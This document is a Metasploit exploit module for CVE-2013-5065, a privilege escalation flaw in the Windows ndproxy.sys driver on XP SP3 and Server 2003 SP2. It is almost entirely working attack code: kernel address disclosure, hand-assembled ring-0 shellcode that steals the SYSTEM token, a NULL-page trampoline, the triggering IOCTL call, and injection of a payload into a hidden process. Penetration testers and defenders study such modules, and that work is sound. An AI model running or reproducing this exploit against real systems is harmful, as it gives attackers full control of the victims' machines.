## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   require 'msf/core'require 'rex'  class Metasploit3 < Msf::Exploit::Local   Rank = AverageRanking     include Msf::Post::File  include Msf::Post::Windows::Priv   include Msf::Post::Windows::Process     def initialize(info={})     super(update_info(info, {       'Name'          => 'Microsoft Windows ndproxy.sys Local Privilege Escalation',       'Description'    => %q{         This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003        SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while        processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used         to access an array unsafely, and the value is used to perform a call, leading to a NULL        pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This         module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to         work the service "Routing and Remote Access" must be running on the target system.       },       'License'       => MSF_LICENSE,       'Author'        =>         [           'Unknown', # Vulnerability discovery           'ryujin', # python PoC           'Shahin Ramezany', # C PoC           'juan vazquez' # MSF module         ],       'Arch'          => ARCH_X86,       'Platform'      => 'win',       'Payload'       =>         {           'Space' => 4096,           'DisableNops' => true        },       'SessionTypes'  => [ 'meterpreter' ],       'DefaultOptions' =>         {           'EXITFUNC' => 'thread',         },       'Targets'       =>         [           [ 'Automatic', { } ],           [ 'Windows XP SP3',             {               'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates               '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct               '_TOKEN' => "\xc8",    # Offset to TOKEN from the _EPROCESS struct               '_UPID' => "\x84",     # Offset to UniqueProcessId FROM the _EPROCESS struct               '_APLINKS' => "\x88"   # Offset to ActiveProcessLinks _EPROCESS struct             }           ],           [ 'Windows Server 2003 SP2',             {               'HaliQuerySystemInfo' => 0x1fa1e,               '_KPROCESS' => "\x38",               '_TOKEN' => "\xd8",               '_UPID' => "\x94",               '_APLINKS' => "\x98"            }           ]         ],       'References'    =>         [           [ 'CVE', '2013-5065' ],           [ 'OSVDB' , '100368'],           [ 'BID', '63971' ],           [ 'EDB', '30014' ],           [ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ],           [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'],           [ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ],           [ 'URL', 'http://www.secniu.com/blog/?p=53' ],           [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ],           [ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]         ],       'DisclosureDate'=> 'Nov 27 2013',       'DefaultTarget' => 0    }))     end    def add_railgun_functions     session.railgun.add_function(       'ntdll',       'NtAllocateVirtualMemory',       'DWORD',       [         ["DWORD", "ProcessHandle", "in"],         ["PBLOB", "BaseAddress", "inout"],         ["PDWORD", "ZeroBits", "in"],         ["PBLOB", "RegionSize", "inout"],         ["DWORD", "AllocationType", "in"],         ["DWORD", "Protect", "in"]       ])       session.railgun.add_function(       'ntdll',       'NtDeviceIoControlFile',       'DWORD',       [         [ "DWORD", "FileHandle", "in" ],         [ "DWORD", "Event", "in" ],         [ "DWORD", "ApcRoutine", "in" ],         [ "DWORD", "ApcContext", "in" ],         [ "PDWORD", "IoStatusBlock", "out" ],         [ "DWORD", "IoControlCode", "in" ],         [ "LPVOID", "InputBuffer", "in" ],         [ "DWORD", "InputBufferLength", "in" ],         [ "LPVOID", "OutputBuffer", "in" ],         [ "DWORD", "OutPutBufferLength", "in" ]       ])       session.railgun.add_function(       'ntdll',       'NtQueryIntervalProfile',       'DWORD',       [         [ "DWORD", "ProfileSource", "in" ],         [ "PDWORD", "Interval", "out" ]       ])     session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')     session.railgun.add_function(       'psapi',       'EnumDeviceDrivers',       'BOOL',       [         ["PBLOB", "lpImageBase", "out"],         ["DWORD", "cb", "in"],         ["PDWORD", "lpcbNeeded", "out"]       ])     session.railgun.add_function(       'psapi',       'GetDeviceDriverBaseNameA',       'DWORD',       [         ["LPVOID", "ImageBase", "in"],         ["PBLOB", "lpBaseName", "out"],         ["DWORD", "nSize", "in"]       ])   end    def open_device(dev)       invalid_handle_value = 0xFFFFFFFF       r = session.railgun.kernel32.CreateFileA(dev, 0x0, 0x0, nil, 0x3, 0, 0)       handle = r['return']       if handle == invalid_handle_value       return nil    end      return handle   end    def find_sys_base(drvname)     results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)     addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")       addresses.each do |address|       results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)       current_drvname = results['lpBaseName'][0..results['return'] - 1]       if drvname == nil        if current_drvname.downcase.include?('krnl')           return [address, current_drvname]         end      elsif drvname == results['lpBaseName'][0..results['return'] - 1]         return [address, current_drvname]       end    end      return nil  end    def ring0_shellcode(t)     restore_ptrs =  "\x31\xc0"                                                # xor eax, eax     restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L")  # mov eax, offset hal!HaliQuerySystemInformation     restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax       tokenstealing =  "\x52"                                                   # push edx                         # Save edx on the stack     tokenstealing << "\x53"                                                   # push ebx                         # Save ebx on the stack     tokenstealing << "\x33\xc0"                                               # xor eax, eax                     # eax = 0     tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"                           # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD     tokenstealing << "\x8b\x40" + t['_KPROCESS']                              # mov eax, dword ptr [eax+44h]     # Retrieve _KPROCESS     tokenstealing << "\x8b\xc8"                                               # mov ecx, eax     tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00"                # mov ebx, dword ptr [eax+0C8h]    # Retrieves TOKEN     tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00"              # mov eax, dword ptr [eax+88h]  <====| # Retrieve FLINK from ActiveProcessLinks     tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00"              # sub eax,88h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks     tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)     tokenstealing << "\x75\xe8"                                               # jne 0000101e ======================     tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov edx,dword ptr [eax+0C8h]     # Retrieves TOKEN and stores on EDX     tokenstealing << "\x8b\xc1"                                               # mov eax, ecx                     # Retrieves KPROCESS stored on ECX     tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00"                # mov dword ptr [eax+0C8h],edx     # Overwrites the TOKEN for the current KPROCESS     tokenstealing << "\x5b"                                                   # pop ebx                          # Restores ebx     tokenstealing << "\x5a"                                                   # pop edx                          # Restores edx     tokenstealing << "\xc2\x10"                                               # ret 10h                          # Away from the kernel!       ring0_shellcode = restore_ptrs + tokenstealing     return ring0_shellcode   end    def fill_memory(proc, address, length, content)       result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")       unless proc.memory.writable?(address)       vprint_error("Failed to allocate memory")       return nil    end      vprint_good("#{address} is now writable")       result = proc.memory.write(address, content)       if result.nil?       vprint_error("Failed to write contents to memory")       return nil    else      vprint_good("Contents successfully written to 0x#{address.to_s(16)}")     end      return address   end    def create_proc     windir = expand_path("%windir%")     cmd = "#{windir}\\System32\\notepad.exe"    # run hidden     begin      proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })     rescue Rex::Post::Meterpreter::RequestError       # when running from the Adobe Reader sandbox:       # Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.       return nil    end      return proc.pid   end    def disclose_addresses(t)     addresses = {}       vprint_status("Getting the Kernel module name...")     kernel_info = find_sys_base(nil)     if kernel_info.nil?       vprint_error("Failed to disclose the Kernel module name")       return nil    end    vprint_good("Kernel module found: #{kernel_info[1]}")       vprint_status("Getting a Kernel handle...")     kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)     kernel32_handle = kernel32_handle['return']     if kernel32_handle == 0      vprint_error("Failed to get a Kernel handle")       return nil    end    vprint_good("Kernel handle acquired")         vprint_status("Disclosing the HalDispatchTable...")     hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")     hal_dispatch_table = hal_dispatch_table['return']     if hal_dispatch_table == 0      vprint_error("Failed to disclose the HalDispatchTable")       return nil    end    hal_dispatch_table -= kernel32_handle     hal_dispatch_table += kernel_info[0]     addresses["halDispatchTable"] = hal_dispatch_table     vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")       vprint_status("Getting the hal.dll Base Address...")     hal_info = find_sys_base("hal.dll")     if hal_info.nil?       vprint_error("Failed to disclose hal.dll Base Address")       return nil    end    hal_base = hal_info[0]     vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")       hali_query_system_information = hal_base + t['HaliQuerySystemInfo']     addresses["HaliQuerySystemInfo"] = hali_query_system_information       vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")     return addresses   end      def check     vprint_status("Adding the railgun stuff...")     add_railgun_functions       if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/       return Exploit::CheckCode::Detected     end      handle = open_device("\\\\.\\NDProxy")     if handle.nil?       return Exploit::CheckCode::Safe     end    session.railgun.kernel32.CloseHandle(handle)       os = sysinfo["OS"]     case os     when /windows xp.*service pack 3/i       return Exploit::CheckCode::Appears     when /[2003|.net server].*service pack 2/i       return Exploit::CheckCode::Appears     when /windows xp/i       return Exploit::CheckCode::Detected     when /[2003|.net server]/i       return Exploit::CheckCode::Detected     else      return Exploit::CheckCode::Safe     end    end    def exploit       vprint_status("Adding the railgun stuff...")     add_railgun_functions       if sysinfo["Architecture"] =~ /wow64/i       fail_with(Failure::NoTarget, "Running against WOW64 is not supported")     elsif sysinfo["Architecture"] =~ /x64/       fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")     end      my_target = nil    if target.name =~ /Automatic/       print_status("Detecting the target system...")       os = sysinfo["OS"]       if os =~ /windows xp.*service pack 3/i         my_target = targets[1]         print_status("Running against #{my_target.name}")       elsif ((os =~ /2003/) and (os =~ /service pack 2/i))         my_target = targets[2]         print_status("Running against #{my_target.name}")       elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i))         my_target = targets[2]         print_status("Running against #{my_target.name}")       end    else      my_target = target     end      if my_target.nil?       fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")     end      print_status("Checking device...")     handle = open_device("\\\\.\\NDProxy")     if handle.nil?       fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found")     else      print_good("\\\\.\\NDProxy found!")     end      print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")     @addresses = disclose_addresses(my_target)     if @addresses.nil?       session.railgun.kernel32.CloseHandle(handle)       fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")     else      print_good("Addresses successfully disclosed.")     end        print_status("Storing the kernel stager on memory...")     this_proc = session.sys.process.open     kernel_shell = ring0_shellcode(my_target)     kernel_shell_address = 0x1000     result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)     if result.nil?       session.railgun.kernel32.CloseHandle(handle)       fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")     else      print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")     end      print_status("Storing the trampoline to the kernel stager on memory...")     trampoline = "\x90" * 0x38       # nops     trampoline << "\x68"             # push opcode     trampoline << [0x1000].pack("V") # address to push     trampoline << "\xc3"             # ret     trampoline_addr = 0x1     result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)     if result.nil?       session.railgun.kernel32.CloseHandle(handle)       fail_with(Failure::Unknown, "Error while storing trampoline on memory")     else      print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")     end      print_status("Storing the IO Control buffer on memory...")     buffer = "\x00" * 1024    buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call     buffer[28, 4] = [0x34].pack("V")      # In order to trigger the vulnerable call     buffer_addr = 0x0d0d0000     result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)     if result.nil?       session.railgun.kernel32.CloseHandle(handle)       fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory")     else      print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")     end      print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")     magic_ioctl = 0x8fff23c8     # Values taken from the exploit in the wild, see references     ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)       session.railgun.kernel32.CloseHandle(handle)       print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")     result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)       print_status("Checking privileges after exploitation...")       unless is_system?       fail_with(Failure::Unknown, "The exploitation wasn't successful")     end      p = payload.encoded     print_good("Exploitation successful! Creating a new process and launching payload...")     new_pid = create_proc       if new_pid.nil?       print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")       return    end      print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")     if execute_shellcode(p, nil, new_pid)       print_good("Enjoy")     else      fail_with(Failure::Unknown, "Error while executing the payload")     end      end